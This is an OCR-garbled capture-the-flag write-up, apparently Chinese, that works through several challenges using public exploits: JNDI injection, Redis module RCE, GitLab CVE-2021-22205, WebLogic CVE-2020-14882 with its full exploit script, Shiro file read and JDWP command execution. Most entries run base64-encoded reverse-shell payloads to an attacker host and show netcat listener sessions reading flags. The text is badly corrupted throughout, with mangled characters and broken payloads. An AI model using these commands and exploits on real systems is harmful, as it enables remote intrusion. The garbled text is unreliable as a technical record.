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https://github.com/welk1n/JND -Injection-Exploit

java -jar INDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c
{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54LzEXMTEXIDA+JjE=}|{base64,-d}|{bash,-i}" -A "x.x.x.x"
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7] 2% https://www.cnblogs.com/-chenxs/p/11185471.html

git clone https://github.com/Ridter/redis-rce.git
git clone https://github.com/n@b@dyCN/RedisModules-ExecuteCommand.git

# #HARedisModules-ExecuteCommand X 1£HIsrc X 1FEE, & Emakefile. module.cBIN1E HAZEEEFI K, HAT

dule.soXfF
# fémodule.so X1 R #|Zredis-rce HR T

python3 redis-rce.py -r 47.102.124.80 -p 38152 -L Xx.x.x.Xx -f module.so
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the Secrets of Memory
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5 [0} <classloaders java.lang.ClassLoader @ 0x0 <system class loaders
» lc} <super> class javalang.Object @ OxSda412cc8 System Class

Type  Name Value > [k CASE_INSENSITIVE_ORDER java.lang.String$CaselnsensitiveComparator @ 0x5dad46738
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Shallow Heap  Retained Heap
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Offers several step-by-ste
tutorials for quick access.
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Message Plug-in Date

i Too many suspect instances (12,870). Will us org.eclipse.mat.api 2022/1/22 T4F4.00
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H #5477 CVE-2021-222057%

git clone https://github.com/Allex/CVE-2021-22205.git

cd CVE-2021-22205

python3 CVE-2021-22205.py -a true -t http://47.102.106.96:36016/ -c "echo 'bash -i >& /dev/tcp/x.x.x.x/11111 0>&
1' > /tmp/1l.sh"

python3 CVE-2021-22205.py -a true -t http://47.102.106.96:36016/ -c "chmod +x /tmp/1l.sh"

python3 CVE-2021-22205.py -a true -t http://47.102.106.96:36016/ -c "/bin/bash /tmp/1.sh"
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roota) ~/Desktop
#inc 139.2: 194.110 9999
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Your service will ve for 600 seconds

BHshiro.ini
python poc.py -p 39801 -f WEB-INF/shiro.ini 139.224.194.110

[main]
shiro.los

securityMa
[users]
# format: username = password, rolel, role2, ..., roleN
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https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
https://github.com/dr0op/shiro-550-with-NoCC
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Linux | key | oDNEdDZxNzhSejB6YTRseg=:
BEER | ST
6% | cat/root/flag.txt UTF8 ~ HiT

rwctf{1b3df79b3c0e39f5b9fB815914403432}

B HITRALI

Flag Console
H #7772 £ CVE-2020-14882%

#!/usr/bin/python3

# Exploit Title: Oracle WeblLogic Server 10.3.6.0.0 / 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 - Unauth
enticated RCE via GET request

# Exploit Author: Nguyen Jang

# CVE: CVE-2020-14882

# Vendor Homepage: https://www.oracle.com/middleware/technologies/weblogic.html

# Software Link: https://www.oracle.com/technetwork/middleware/downloads/index.html

# More Info: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981
dbf

import requests
import sys

from urllib3.exceptions import InsecureRequestWarning

if len(sys.argv) != 3:

print("[+] WebLogic Unauthenticated RCE via GET request")

print("[+] Usage : python3 exploit.py http(s)://target:7001 command")

print("[+] Examplel : python3 exploit.py http(s)://target:7001 \"nslookup your_Domain\"")

print("[+] Example2 : python3 exploit.py http(s)://target:7001 \"powershell.exe -c Invoke-WebRequest -Uri ht
tp://your_listener\"")

exit()

target = sys.argv[1]
command = sys.argv|[2]

request = requests.session()
headers = {'Content-type': 'application/x-www-form-urlencoded; charset=utf-8'}

print("[+] Sending GET Request ....")

GET_Request = request.get(target + "/console/images/%252E%252E%252Fconsole.portal? nfpb=false& pagelLable=&handle

=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec( + command + "');\");", ve

rify=False, headers=headers)

print("[+] Done !!")



bash#shell kM T, JEEFEAREH
Flbash 196 % #shellskzh

python3 cve-2020-14882.py http://47.102.143.222:49530/ "bash -c
{echo, MDWMMTk202V4ZWMgMTk2PD4vZGV2L3RjcCI4LngueC54L ZEXMTEXOYBiYXNoIDWMMTk2ID4mMTk2IDI+IjE5Ng==}|{base64, -d} |
{bash,-i}"

vpsZ Elshell

Be-a-Database-Hacker 2

2B\ B E R & 28, @idiEsldriver classfjdbe urlml BL#E TjndiEA
vpsFidap i 5hitps://github.com/welk 1n/JND Hinjection-E xploit

java -jar INDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c
{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54L zEXMTExIDA+JjE=}|{base64, -d}|{bash,-i}" -A "x.x.x.x"

W & Bshellii I nc -1vnp 11111

TSR G HATEN
Driver Class: |javax.naming.|nitial00ntexl |
JDEC URL: | [dap:/1.117.52.155:1389/5hcbmo |
User Name: |59 |
Password: | |
| Cunnect| ‘Test Cunne%
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Java Remote Debugger
JDWP Sz 265 & $u AT
https://github.com/cash2one/jdwp-exec

python2 jdwp.py -t 139.196.23.201 -p 8888 --break-on "java.lang.String.indexof" --cmd "bash -c
{echo, MDWMMTk202V4ZWMgMTk2PD4vZGV2L3RjcC94LngueC54L ZEXMTEXOYBiYXNoIDWmMTk2IDAmMTk2IDI+]jESNg==}|{base64, -d} |
{bash,-i}"


https://github.com/welk1n/JNDI-Injection-Exploit
https://github.com/cash2one/jdwp-exec

ubuntu@VM-16-11-ubuntu:~% nc -lvnp 11111
1stening on @ .8 11111
nnection received on 138 .23.201 56184
: cannot set temminal proc group (1}: Inappropriate 1octl for device
no job control in this 1
er@febSbbbf3laa: /tmps 1s

flag.txt
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ava_flag
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=r@febSbbbf3laa: /tmps cat flag.txt

flag.txt
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